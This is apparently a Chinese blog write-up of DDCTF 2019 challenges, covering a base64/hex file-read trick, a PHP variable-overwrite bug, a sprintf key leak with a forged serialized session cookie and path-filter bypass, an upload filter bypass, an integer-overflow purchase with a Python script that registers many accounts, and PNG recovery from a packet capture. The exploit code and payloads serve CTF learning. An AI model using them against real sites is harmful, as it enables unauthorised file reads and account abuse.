DDCTF2019 web-writeup

又是没有进入复赛的ctf
继续留下没有技术的泪水
希望下次再加油吧!
没技术的掀桌子

1 滴~
2 web签到题
3 Upload-IMG
4 大吉大利今晚吃鸡
5 Misc-wireshark

1 滴~

image.png
察觉到jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09有问题
发现加密形式是base64_encode(base64_encode(bin2hex($jpg))
解密得到是flag.jpg
以同样加密方式构造index.php
image.png
得到index.php源码
base64解密之后:

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

发现注释中有一个url提示:https://blog.csdn.net/FengBanLiuYun/article/details/80616607
这里有个比较坑的点…这篇文章不是真正的hint
我还看了很久…想着怎么绕过preg_replace
还是太naive了

这位老哥博客的访问量嗖嗖的增
评论也是特别的有趣
实在太坑

image.png
看到注释还有 Can you find the flag file?
猜测可能要找到的是一个文件
翻这个博主的博客发现提到文件的一篇文章
https://blog.csdn.net/FengBanLiuYun/article/details/80913909

以上面的加密方式构造practice.txt.swp
base64解密后得到:f1ag!ddctf.php

根据 Can you find the flag file?猜测这是一个文件名
从源码中可知config被过滤为!
所以构造文件名为:f1agconfigddctf.php
得到文件源码

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
	{
		echo $flag;
	}
	else
	{
		echo'hello';
	}
}

?>

需要构造uid变量和k文件内容一致
这里是一个变量覆盖漏洞
构造uid=&k= 即可得到flag

其实这题有一部分应该是根据百度杯的一道CODE 50pt出的
有兴趣可以看看


2 web签到题

提示没有权限访问
查看源码 - 发现js/index.js

beforeSend: function (XMLHttpRequest) {
            XMLHttpRequest.setRequestHeader("didictf_username", "");
 },

bp抓包增加header头:didictf_username:admin

访问/app/fL2XID2i0Cdh.php
获得源码
其中察觉get_key函数

private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

要想获得eancrykey

if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

代码审计可知需要设置cookie 步入session_read函数
并且POST传入nickname参数

可以发现如果POST方式传nickname=‘a’
此时arr=[‘a’,$this->eancrykey]
循环中执行sprintf(data,‘a’)
则data=‘welcome my friend a’
再次执行sprintf则不会传入eancrykey参数

若POST方式传nickname=’%s’
执行sprintf(data,’%s’)
则data=‘welcome my friend %s’
再次执行sprintf则传eancrykey参数入格式符%s输出

找到key之后还要去看如何利用
看到这里有文件包含漏洞

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}

猜测敏感flag文件为:…/config/flag.txt(长度正好为18)

private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

path有过滤,构造…\\./config/flag.txt绕过

要去找调用__destruct的地方
__destruct构折函数在对象被销毁时被调用
unserialize函数将会自动调用对象__wakeup和__destruct函数
发现可利用函数

var $cookie_name                = 'ddctf_id';
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);

看到服务器端会检验cookie中ddctf_id参数中最后32位
检验其是否等于md5(this->eancrykey.$session)
this->eancrykey在上面已经获得
开始构造session

<?php
class Session{
	var $path='....\\/config/flag.txt';
}
$k=new Session();
echo serialize($k);
echo md5('EzblrbNS'.serialize($k));
?>

构造ddctf_id=O:7:“Session”:1:{s:4:“path”;s:21:"…/config/flag.txt";}4b5ba6958a9873f456c2928b64b0be4d
image.png
得到flag!

####3 upload-IMG
上传照片之后发现提示需要包含phpinfo
写入phpinfo再次上传发现还是提示需要包含
发现它上传后网页会显示上传的照片
尝试下载后打开,和上传的图片比对后发现phpinfo被过滤了

猜测是二次过滤
构造图片绕过二次过滤再次上传得到flag


4 大吉大利今晚吃鸡

题目提示要购买入门券并淘汰对手
购买提示余额不足
抓包更改金额小于2000的提示券的金额必须是2000
大于2000的即可更改成功
猜测是整数溢出

抓包更改金额,购买成功

进入游戏页面之后,可以看到用户的id和ticket值
点击移除对手需要输入id和ticket值
随便尝试注册一个用户获得两个值输入发现剩余对手-1
总共要移除100个对手
构造脚本

#coded by 某大佬
import requests

users = {}

def regist(name,pwd='aaaaaaaa'):
	url = 'http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s'%(name,pwd)
	r = requests.get(url=url)
	cookies = r.cookies.get_dict()
	# cookies = requests.utils.dict_from_cookiejar(r.cookies)
	users[cookies['user_name']] = cookies['REVEL_SESSION']
	return cookies['user_name'],cookies['REVEL_SESSION']

def buyticket(name,session):
	url = 'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4611686018427387904'
	header={'Cookie':'user_name=%s; REVEL_SESSION=%s'%(name,session),'Referer': 'http://117.51.147.155:5050/index.html'}
	r = requests.get(url=url,headers=header)

	bill_id = eval(r.text)['data'][0]['bill_id']#,requests.utils.dict_from_cookiejar(r.cookies)
	payticket(bill_id,name,session)

def payticket(bill_id,name,session):
	url = 'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s'%(bill_id)
	header={'Cookie':'user_name=%s; REVEL_SESSION=%s'%(name,session),'Referer': 'http://117.51.147.155:5050/index.html'}
	r = requests.get(url=url,headers=header)
	myid = eval(r.text)["data"][0]["your_id"]
	ticket = eval(r.text)["data"][0]["your_ticket"]
	getflag(myid,ticket)

def getflag(id,ticket):
	url = 'http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s'%(id,ticket)
	header={'Cookie':'user_name=%s; REVEL_SESSION=%s'.format(adminUser,adminSession),'Referer': 'http://117.51.147.155:5050/index.html'}
	r = requests.get(url=url,headers=header)
	print eval(r.text)

adminUser , adminSession = regist('getMyFlag11')
print adminUser,adminSession #important
buyticket(adminUser,adminSession)

for x in range(200,301):
	regist('newUser%s'%(x))
for n in users:
	if n != adminUser:
		buyticket(n,users[n])

脚本是一个大佬写的 如果不可以转载的话请大佬和我说
感谢大佬~

脚本需要运行多次,因为好像有一些用户注册了之后将会赋予重复id,重复id再被移除一次不算数

查看flag —— 登录脚本注册的adminUser账号
进入http://117.51.147.155:5050/index.html#/main/index


5 流量分析

wireshark打开流量包,导出http分组

下载6420分组的图片

过滤表达式http.request.method == POST
找到分组1782 还有另一张图片
右击-追踪流-http流
要恢复里面post的png图像 - 点击显示和保存转为原始数据 - Save as

删除多余的数据
png图像开头为89 50 4E 47 —— ‰PNG(每个png文件相同)
结束为 49 45 4E 44 ——IEND(每个png文件相同)
还有四个字节 AE 42 60 82 (每个文件不同)
另存为再次打开

这里有个坑点:图片高宽出现问题,如果是linux/mac系统,无法直接打开图片;windows系统可以直接打开

打开是个钥匙的图案 猜测是图片隐写
49 48 44 52 IHDR标识(每个png文件都有)
00 00 06 3E 表示图片的宽 1598像素
00 00 02 18 表示图片长 536像素
更改图片长为00 00 06 3E 获得密码key:gKvN4eEm

导出的http分组中有一个网站http://tools.jb51.net/aideddesign/img_add_info
是图片在线解密,输入图片和密码,得到flag!

希望下次比赛可以拿奖啊!

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值